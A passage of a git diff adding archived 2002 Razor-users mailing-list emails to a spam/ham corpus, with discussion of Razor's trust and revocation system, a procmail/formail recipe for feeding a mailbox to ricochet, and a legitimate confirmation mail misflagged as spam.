it, what does that +> mean? + +> It means that the revokers have an opinion that probably doesn't mesh +> with the majority; + +No, it means that the people doing the revoking have a different opinion +than the 1000 people who have submitted it as spam. Rather the 1000 people +who have reported the message as spam constitute a majority or not is +something that would have to be determined in the context of the +individual message. + +> instead of messing with its rating, why not just put +> it on the whitelist? If I want that ZDNet mail, and most people think +> that ZDNet mail is just plain annoying, then why can't I whitelist it, +> instead of "arguing" with everyone about whether or not it's spam? + +You always have that ability. + +> Correct me if I'm wrong, but it's not as if all mail from ZDNet will be +> banned in the future-just that one piece. So if ZDNet were to change +> its system to make it easier to opt out, or whatever, people would hopefully +> start unsubscribing instead of clicking the "Spam" button. + +It's my opinion that it's not my job to unsubscribe to any list that I +haven't subscribed to, nor is it necessarily in my best interest given +that some parties sending unwanted communications may utilize the +unsubscribe request as a method of determining they are mailing a valid +address. + +> The inherent problem here, of course, is that someone can pretend to be +> 1,000 people and block anything they choose. But say you still have a +> lightweight trust system built in, where when they "agree" with the +> majority (though they couldn't have known because razor hadn't +> acknowledged anything yet) then your trust rating goes up and vice +> versa. +> +> The key here is that, in order to be reliable, you need the numbers. What +> am I missing here? + +See above. + + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + Patrick Greenwell + Asking the wrong questions is the leading cause of wrong answers +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code1 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00646.c53090843b18c74093da2d24bcb1c844 b/bayes/spamham/easy_ham_2/00646.c53090843b18c74093da2d24bcb1c844 new file mode 100644 index 0000000..53dfcb7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00646.c53090843b18c74093da2d24bcb1c844 @@ -0,0 +1,94 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 15 10:50:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0691A43C32 + for ; Thu, 15 Aug 2002 05:49:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:49:21 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7ELsi405599 for ; Wed, 14 Aug 2002 22:54:44 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17f5zo-0003gx-00; Wed, + 14 Aug 2002 14:48:04 -0700 +Received: from h-66-134-120-173.lsanca54.covad.net ([66.134.120.173] + helo=stealthgeeks.net) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17f5yp-0007N0-00 for + ; Wed, 14 Aug 2002 14:47:03 -0700 +Received: (qmail 68481 invoked by uid 1001); 14 Aug 2002 21:47:02 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 14 Aug 2002 21:47:02 -0000 +From: Patrick +To: Vipul Ved Prakash +Cc: "Craig R . Hughes" , + +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +In-Reply-To: <20020812203326.A1211@rover.vipul.net> +Message-Id: <20020814141317.Q68104-100000@rockstar.stealthgeeks.net> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 14:47:02 -0700 (PDT) +Date: Wed, 14 Aug 2002 14:47:02 -0700 (PDT) + +On Mon, 12 Aug 2002, Vipul Ved Prakash wrote: + +> On Mon, Aug 12, 2002 at 10:38:44AM -0700, Craig R . Hughes wrote: +> > This is, I think the biggest fallacy here. You don't have to +> > block jack shit to get a high trust rating, you just have to +> > confirm Razor's existing opinion on a large number of messages: +> > +> > if(check() == spam) then submit() else revoke() +> > +> > That algorithm boosts trust, but reduces the information in +> > SpamNet by damping. +> +> Again, this is not true. Only certain events (reports/revokes) for a spam +> are rewarded and the algorithm for picking these up is based on many +> different factors. + +And those would be???? + +Is there a point that you plan on releasing detailed information about +TeS, so we can stop engaging in idle speculation? + +It's not my desire to second-guess you Vipul(however much my missives may +appear otherwise) or question the hard work you and the other +developers have put into the system, however it seems that every request +for such information has been met with silence. + +Thanks. + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + Patrick Greenwell + Asking the wrong questions is the leading cause of wrong answers +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00647.97e77e8264c32c8b05077edc15721ba2 b/bayes/spamham/easy_ham_2/00647.97e77e8264c32c8b05077edc15721ba2 new file mode 100644 index 0000000..2c7057b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00647.97e77e8264c32c8b05077edc15721ba2 @@ -0,0 +1,220 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 15 10:50:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6C04143C47 + for ; Thu, 15 Aug 2002 05:49:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:49:29 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7EMnb407158 for ; Wed, 14 Aug 2002 23:49:37 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17f6q4-0002hz-00; Wed, + 14 Aug 2002 15:42:04 -0700 +Received: from pcp01330322pcs.chrstn01.pa.comcast.net ([68.81.131.45] + helo=dingus.sparklehouse.com) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17f6pZ-0005BW-00 for ; Wed, + 14 Aug 2002 15:41:33 -0700 +Received: from [192.168.1.50] (helo=DARLA) by dingus.sparklehouse.com with + smtp (Exim 6.66 #1) id 17f6pP-0007i2-00; Wed, 14 Aug 2002 18:41:23 -0400 +From: "zeek" +To: "Sven Willenberger" +Cc: +Subject: RE: [Razor-users] Ricochet Question Actually +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: <01a101c24304$c8f7d310$f2812d40@landshark> +Importance: Normal +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 18:41:32 -0400 +Date: Wed, 14 Aug 2002 18:41:32 -0400 + + + +formail did the trick. Thanks to those who answered. For the sake of +archives, here's how to "patch" ricochet: + + +1. procmailrc (/tmp/pmrc): + +RICOCHET=/usr/local/etc/ricochet +PMDIR=/tmp +LOGFILE=$PMDIR/pmlog +VERBOSE=yes +MAILDIR=/tmp +LOGABSTRACT=all + +:0 f +| /usr/local/bin/ri2 + + +2. /usr/local/bin/ri2 (to test): + +#!/bin/sh +/usr/local/bin/ricochet -DONT_SEND >/tmp/rico.$$ + +3. formmail exec: + +formail -ds procmail /tmp/pmrc -----Original Message----- +> From: razor-users-admin@example.sourceforge.net +> [mailto:razor-users-admin@lists.sourceforge.net]On Behalf Of Sven +> Willenberger +> Sent: Tuesday, August 13, 2002 4:06 PM +> To: zeek@sparklehouse.com +> Cc: razor-users@example.sourceforge.net +> Subject: Re: [Razor-users] Ricochet Question Actually +> +> +> +> +> ----- Original Message ----- +> > From: "zeek" +> > To: +> > Date: Tue, 13 Aug 2002 12:07:10 -0400 +> > Subject: [Razor-users] Ricochet Question Actually +> > +> > +> > Greetings, +> > +> > I've not been able to find a list regarding ricochet (closely related to +> > razor: http://www.vipul.net/ricochet/) so I'm posting here. +> > +> > Every few days I manually go through a spam harvest that Spamassassin +> > collects (by way of checking against osirosoft, razor, et. +> al.). I do this +> > with elm and for each piece of verified spam I pipe it to ricochet which +> > sends it off to the various parties involved (not as accurate +> as I'd like +> > BTW). Needless to mention this is quite tedious and takes a considerable +> > amount of time. +> > +> > My question, which is more of a perl/regexp question, is anyone +> aware of a +> > script that can take an entire mailbox (in proper UNIX mbox format) and +> > handle each piece of mail in it? To clarify, I'm looking for something +> which +> > takes each piece of mail in a mailbox and pipes it to ricochet. This is +> very +> > similar to what razor-report does with the -M option. +> > +> +> Assuming that you have procmail installed you also have its companion +> formail. Formail can be used to parse an mbox into its component +> emails and +> pass them to procmail. Specifiy a procmailrc file to use to +> filter/test/send +> each email and you're good to go. You could even set it up as a cron ... +> +> example: assuming your mailbox/email is "spambox" +> +> `formail -ds procmail /home/spambox/customProcmailrc < /var/mail/spambox` +> +> This will take the mbox /var/mail/spambox break it apart at the message +> separator ('^From '), send it off to procmail and instruct procmail to use +> the "customProcmailrc" config file found in spambox's home directory. That +> "customProcmailrc" would contain your rules for how to handle +> each mail and +> send it where it needs to go .... +> +> +> > Cheers, +> > -zeek +> > +> > +> > +> > --__--__-- +> > +> > Message: 11 +> > Date: Tue, 13 Aug 2002 11:58:03 -0500 +> > To: razor-users@example.sourceforge.net +> > From: Justin Shore +> > Subject: [Razor-users] Stripping the SpamAssassin report +> > +> > I'm assuming I need to strip the SpamAssassinReport.txt attachments +> > from my spam mailbox before I run the mailbox through razor-report, +> > correct? Does anyone know of an easy way to do this? +> > +> > Thanks +> > Justin +> > -- +> > +> > -- +> > Justin Shore, ES-SS ES-SSR Pittsburg State University +> > Network & Systems Manager Kelce 157Q +> > Office of Information Systems Pittsburg, KS 66762 +> > Voice: (620) 235-4606 Fax: (620) 235-4545 +> > http://www.pittstate.edu/ois/ +> > +> > Warning: This message has been quadruple Rot13'ed for your protection. +> > +> > +> > +> > --__--__-- +> > +> > _______________________________________________ +> > Razor-users mailing list +> > Razor-users@lists.sourceforge.net +> > https://lists.sourceforge.net/lists/listinfo/razor-users +> > +> > +> > End of Razor-users Digest +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by: Dice - The leading online job board +> for high-tech professionals. Search and apply for tech jobs today! +> http://seeker.dice.com/seeker.epl?rel_code=31 +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00648.fc71a05914ca9ff0ecaaf09744c4c5f5 b/bayes/spamham/easy_ham_2/00648.fc71a05914ca9ff0ecaaf09744c4c5f5 new file mode 100644 index 0000000..65435a4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00648.fc71a05914ca9ff0ecaaf09744c4c5f5 @@ -0,0 +1,127 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 15 10:51:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7D20843C45 + for ; Thu, 15 Aug 2002 05:49:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:49:34 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7ENDV408251 for ; Thu, 15 Aug 2002 00:13:31 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17f7DG-0003gU-00; Wed, + 14 Aug 2002 16:06:02 -0700 +Received: from main.gmane.org ([80.91.224.249]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17f7Ca-0000G1-00 for ; Wed, + 14 Aug 2002 16:05:20 -0700 +Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17f7BX-0008Uv-00 for ; + Thu, 15 Aug 2002 01:04:15 +0200 +To: razor-users@example.sourceforge.net +X-Injected-Via-Gmane: http://gmane.org/ +Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17f7BW-0008Ud-00 for ; + Thu, 15 Aug 2002 01:04:14 +0200 +Path: not-for-mail +From: Jehan +Newsgroups: gmane.mail.spam.razor.user +Message-Id: +References: <1C63DA9F9722C2499FA0475B8B8625E32151EE@ex-mail-04.ant.amazon.com> +NNTP-Posting-Host: adsl-64-168-83-170.dsl.snfc21.pacbell.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Trace: main.gmane.org 1029366254 32650 64.168.83.170 (14 Aug 2002 + 23:04:14 GMT) +X-Complaints-To: usenet@main.gmane.org +NNTP-Posting-Date: Wed, 14 Aug 2002 23:04:14 +0000 (UTC) +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1b) + Gecko/20020813 +X-Accept-Language: en-us, en +Subject: [Razor-users] Re: many vs one +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 16:05:13 -0700 +Date: Wed, 14 Aug 2002 16:05:13 -0700 + +Oates, Isaac wrote: + > First, 1,000 people will have seen the piece of spam that could've + > been avoided. But the other 99,000 will never see that spam. Evenly + > distributed, it means that an average user will only see 1% of spam. + > That's not realistic, because not everyone will get the same spam, + > but the basic threshold can be adjusted. At the very least, 30 + > people need to "vote" on a given piece of mail to make a realistic + > decision. Since there's no "no" vote mechanism (except + > revocation--and that's after the fact), only a "yes" vote mechanism + > exists and so if you received 30 "yes" votes then you could safely + > say that you got a reasonable sample. + +I'm not sure that I follow your reasoning here. Razor isn't your mail +server. It doesn't keep in your mail. You don't request your mail there. +Nor do most people check for spam only when they are going to read their +mail. My setup check a mail against Razor when my server receives it, +not when I'm going to read it. If you wait to get 1000 reply for a mail, +it means you have to wait for 1000 people to read it (at least, some +people may not vote because they don't want to vote that day or because +they don't think it's spam). Knowing that about half the planet would be +sleeping (night time) and thus not reading their mail, it would mean +that at least 2000 people already received the mail in their inbox. +Knowing that, among the people who are not sleeping, not all of them are +constantly reading their mail. I would say that less than 1 people over +10 read their mail as soon as it arrives. That means that 20,000 people +already recieved the mail and checked it against the Razor database +before you would get your 1000 votes. + +Also, with your system, 99% is the best you could get. If you wait for +only one vote, maybe only 20 guy would read the mail (1 to vote, 10 +sleeping, and 9 not reading their mail soon enough). Wich gives a value +99.98%. That's far better than your 99% don't you think. +In RealLife(tm), most likely one guy voting won't be enough but the +thing is that it will stop the spam as early as possible. + +Also, if for some reason, this mail is one of those people don't agree +on whether it is spam or not, it would take a while to revoke those 1000 +reports, which means that some people may lose this legitimate (to them) +mail. + +You mentioned that with this system, people will re-report less often. +First, I don't see how waiting *longer* before making a decision on the +legitimacy of a mail will reduce re-reporting. The more you wait, the +more people will get the mail in their inbox, the more people will see +the mail (again, not everybody check their mail against Razor at read +time, most do it a reception time using procmail/spamassassin). Second, +re-reporting has its use, it increase the confidence that a mail is spam. + +So I don't see what you gain with your 1000 people. + + Jehan + + + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00649.f37f324ee23e200328c293c984453938 b/bayes/spamham/easy_ham_2/00649.f37f324ee23e200328c293c984453938 new file mode 100644 index 0000000..06479e7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00649.f37f324ee23e200328c293c984453938 @@ -0,0 +1,125 @@ +From vipul@rover.vipul.net Thu Aug 15 10:43:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4EA2643C37 + for ; Thu, 15 Aug 2002 05:43:20 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:43:20 +0100 (IST) +Received: from rover.vipul.net (h-66-166-21-186.SNVACAID.covad.net [66.166.21.186]) + by webnote.net (8.9.3/8.9.3) with ESMTP id BAA05500 + for ; Thu, 15 Aug 2002 01:39:53 +0100 +Received: (from vipul@localhost) + by rover.vipul.net (8.11.6/8.11.6) id g7F0doJ24495; + Wed, 14 Aug 2002 17:39:50 -0700 +Date: Wed, 14 Aug 2002 17:39:50 -0700 +From: Vipul Ved Prakash +To: Justin Mason +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] dot-tk registrations hitting Razor +Message-ID: <20020814173950.A24450@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: Justin Mason , + razor-users@lists.sourceforge.net +References: <20020814105631.AAF0B43C32@phobos.labs.netnoteinc.com> +Mime-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020814105631.AAF0B43C32@phobos.labs.netnoteinc.com>; from yyyy@netnoteinc.com on Wed, Aug 14, 2002 at 11:56:26AM +0100 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ + +Justin, can SA say "Listed in Razor2" when using Razor2? I get a lot of +reports that are misreports to Razor1 not Razor2. + +If this is Razor2, then revocation will fix the problem. + +cheers, +vipul. + +On Wed, Aug 14, 2002 at 11:56:26AM +0100, Justin Mason wrote: +> +> As the proud new owner of a free antarc.tk domain ;), I got a confirmation +> mail, which fell into Razor. +> +> Looks like the fuzzy matching will hit on all confirmation mails until +> it's whitelisted. +> +> just fyi, +> +> --j. +> +> ------- Forwarded Message +> +> Date: Wed, 14 Aug 2002 11:37:35 -0000 +> From: support@dot.tk (Dot TK registration center) +> To: xxxxxx@xxxxx.xxx +> Subject: *****SPAM***** Please confirm your free registration +> +> SPAM: -------------------- Start SpamAssassin results ---------------------- +> SPAM: This mail is probably spam. The original message has been altered +> SPAM: so you can recognise or block similar unwanted mail in future. +> SPAM: See http://spamassassin.org/tag/ for more details. +> SPAM: +> SPAM: Content analysis details: (7.5 hits, 7 required) +> SPAM: SEE_FOR_YOURSELF (2.8 points) BODY: See for yourself +> SPAM: SPAM_PHRASE_13_21 (1.5 points) BODY: Contains phrases frequently found in spam +> SPAM: RAZOR_CHECK (3.0 points) Listed in Razor, see http://razor.sourceforge.net/ +> SPAM: MSG_ID_ADDED_BY_MTA_3 (0.2 points) 'Message-Id' was added by a relay (3) +> SPAM: +> SPAM: -------------------- End of SpamAssassin results --------------------- +> +> +> Malo ni! +> and thank you (faka fetai) +> for registering with Dot TK! +> +> Your e-mail address : xxxxxxx@xxxxx.xxx +> password: xxxxxxxxx +> +> confirmation code: xxxxxxx +> (please note: this is not your password) +> +> As you know we like to keep things simple, so all you need +> to do to activate your Dot TK address is... +> +> 1. Go to http://my.dot.tk/cgi-bin/confirm.taloha?tk=xxxxxx +> +> 2. And enter your confirmation code +> +> If you have received this email, but did not join us @ Dot TK, +> then somebody tried to register using your e-mail address. +> +> You can simply ignore this message... But why not come on in, +> and see for yourself if your own -free- domain name is still +> available at http://www.dot.tk +> +> Any questions? Please visit our feedback page at +> http://www.dot.tk/cgi-bin/response.taloha +> Hope to see you soon at Dot TK. +> +> Dot TK -- Dividing Domains Differently. +> +> +> +> ------- End of Forwarded Message +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by: Dice - The leading online job board +> for high-tech professionals. Search and apply for tech jobs today! +> http://seeker.dice.com/seeker.epl?rel_code=31 +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + diff --git a/bayes/spamham/easy_ham_2/00650.72e893edc133cd4fc90b9de30119210d b/bayes/spamham/easy_ham_2/00650.72e893edc133cd4fc90b9de30119210d new file mode 100644 index 0000000..7b0cb0b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00650.72e893edc133cd4fc90b9de30119210d @@ -0,0 +1,152 @@ +From craig@deersoft.com Thu Aug 15 10:46:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C6BF243C37 + for ; Thu, 15 Aug 2002 05:45:55 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:45:55 +0100 (IST) +Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) + by webnote.net (8.9.3/8.9.3) with ESMTP id GAA06580 + for ; Thu, 15 Aug 2002 06:57:53 +0100 +Received: from user-1121e1b.dsl.mindspring.com ([66.32.184.43] helo=belphegore.hughes-family.org) + by hall.mail.mindspring.net with esmtp (Exim 3.33 #1) + id 17fDdG-0004o5-00; Thu, 15 Aug 2002 01:57:18 -0400 +Received: from balam.hughes-family.org (balam.hughes-family.org [10.0.240.3]) + by belphegore.hughes-family.org (Postfix) with ESMTP + id 22FFEA1508; Wed, 14 Aug 2002 22:57:17 -0700 (PDT) +Date: Wed, 14 Aug 2002 22:57:17 -0700 +Subject: Re: [Razor-users] dot-tk registrations hitting Razor +Content-Type: text/plain; charset=US-ASCII; format=flowed +Mime-Version: 1.0 (Apple Message framework v482) +Cc: Justin Mason , + razor-users@lists.sourceforge.net +To: mail@vipul.net +From: "Craig R.Hughes" +In-Reply-To: <20020814173950.A24450@rover.vipul.net> +Message-Id: +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) + +Hmm, tricky because we've got Razor1 and Razor2 rolled into one +rule. Probably should break them out as separate rules anyway +so they can get different scores, etc. Not too hard to do, but +it's nearly 11pm so I'll see if I can get to it tomorrow. + +C + +On Wednesday, August 14, 2002, at 05:39 PM, Vipul Ved Prakash wrote: + +> Justin, can SA say "Listed in Razor2" when using Razor2? I get a lot of +> reports that are misreports to Razor1 not Razor2. +> +> If this is Razor2, then revocation will fix the problem. +> +> cheers, +> vipul. +> +> On Wed, Aug 14, 2002 at 11:56:26AM +0100, Justin Mason wrote: +>> +>> As the proud new owner of a free antarc.tk domain ;), I got a +>> confirmation +>> mail, which fell into Razor. +>> +>> Looks like the fuzzy matching will hit on all confirmation mails until +>> it's whitelisted. +>> +>> just fyi, +>> +>> --j. +>> +>> ------- Forwarded Message +>> +>> Date: Wed, 14 Aug 2002 11:37:35 -0000 +>> From: support@dot.tk (Dot TK registration center) +>> To: xxxxxx@xxxxx.xxx +>> Subject: *****SPAM***** Please confirm your free registration +>> +>> SPAM: -------------------- Start SpamAssassin +>> results ---------------------- +>> SPAM: This mail is probably spam. The original message has +>> been altered +>> SPAM: so you can recognise or block similar unwanted mail in future. +>> SPAM: See http://spamassassin.org/tag/ for more details. +>> SPAM: +>> SPAM: Content analysis details: (7.5 hits, 7 required) +>> SPAM: SEE_FOR_YOURSELF (2.8 points) BODY: See for yourself +>> SPAM: SPAM_PHRASE_13_21 (1.5 points) BODY: Contains phrases +>> frequently found in spam +>> SPAM: RAZOR_CHECK (3.0 points) Listed in Razor, see +>> http://razor.sourceforge.net/ +>> SPAM: MSG_ID_ADDED_BY_MTA_3 (0.2 points) 'Message-Id' was +>> added by a relay (3) +>> SPAM: +>> SPAM: -------------------- End of SpamAssassin +>> results --------------------- +>> +>> +>> Malo ni! +>> and thank you (faka fetai) +>> for registering with Dot TK! +>> +>> Your e-mail address : xxxxxxx@xxxxx.xxx +>> password: xxxxxxxxx +>> +>> confirmation code: xxxxxxx +>> (please note: this is not your password) +>> +>> As you know we like to keep things simple, so all you need +>> to do to activate your Dot TK address is... +>> +>> 1. Go to http://my.dot.tk/cgi-bin/confirm.taloha?tk=xxxxxx +>> +>> 2. And enter your confirmation code +>> +>> If you have received this email, but did not join us @ Dot TK, +>> then somebody tried to register using your e-mail address. +>> +>> You can simply ignore this message... But why not come on in, +>> and see for yourself if your own -free- domain name is still +>> available at http://www.dot.tk +>> +>> Any questions? Please visit our feedback page at +>> http://www.dot.tk/cgi-bin/response.taloha +>> Hope to see you soon at Dot TK. +>> +>> Dot TK -- Dividing Domains Differently. +>> +>> +>> +>> ------- End of Forwarded Message +>> +>> +>> +>> ------------------------------------------------------- +>> This sf.net email is sponsored by: Dice - The leading online job board +>> for high-tech professionals. Search and apply for tech jobs today! +>> http://seeker.dice.com/seeker.epl?rel_code=31 +>> _______________________________________________ +>> Razor-users mailing list +>> Razor-users@lists.sourceforge.net +>> https://lists.sourceforge.net/lists/listinfo/razor-users +> +> -- +> +> Vipul Ved Prakash | "The future is here, it's just not +> Software Design Artist | widely distributed." +> http://vipul.net/ | -- William Gibson +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by: Dice - The leading online job board +> for high-tech professionals. Search and apply for tech jobs today! +> http://seeker.dice.com/seeker.epl?rel_code=31 +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> +> + diff --git a/bayes/spamham/easy_ham_2/00651.12f128c13a64f4e485ee64532686b88b b/bayes/spamham/easy_ham_2/00651.12f128c13a64f4e485ee64532686b88b new file mode 100644 index 0000000..262e3f1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00651.12f128c13a64f4e485ee64532686b88b @@ -0,0 +1,81 @@ +Return-Path: razor-users-admin@example.sourceforge.net +Delivery-Date: Thu Aug 15 02:06:18 2002 +Return-Path: +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net [216.136.171.252]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7F16H413712 + for ; Thu, 15 Aug 2002 02:06:17 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] helo=usw-sf-list1.sourceforge.net) + by usw-sf-list2.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) + id 17f90Z-0000ox-00; Wed, 14 Aug 2002 18:01:03 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] helo=rover.vipul.net) + by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) + id 17f8zv-0003LN-00 + for ; Wed, 14 Aug 2002 18:00:23 -0700 +Received: (from vipul@localhost) + by rover.vipul.net (8.11.6/8.11.6) id g7F10GK24783; + Wed, 14 Aug 2002 18:00:16 -0700 +From: Vipul Ved Prakash +To: Patrick +Cc: "Craig R . Hughes" , razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +Message-ID: <20020814180016.A24501@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: Patrick , + "Craig R . Hughes" , + razor-users@lists.sourceforge.net +References: 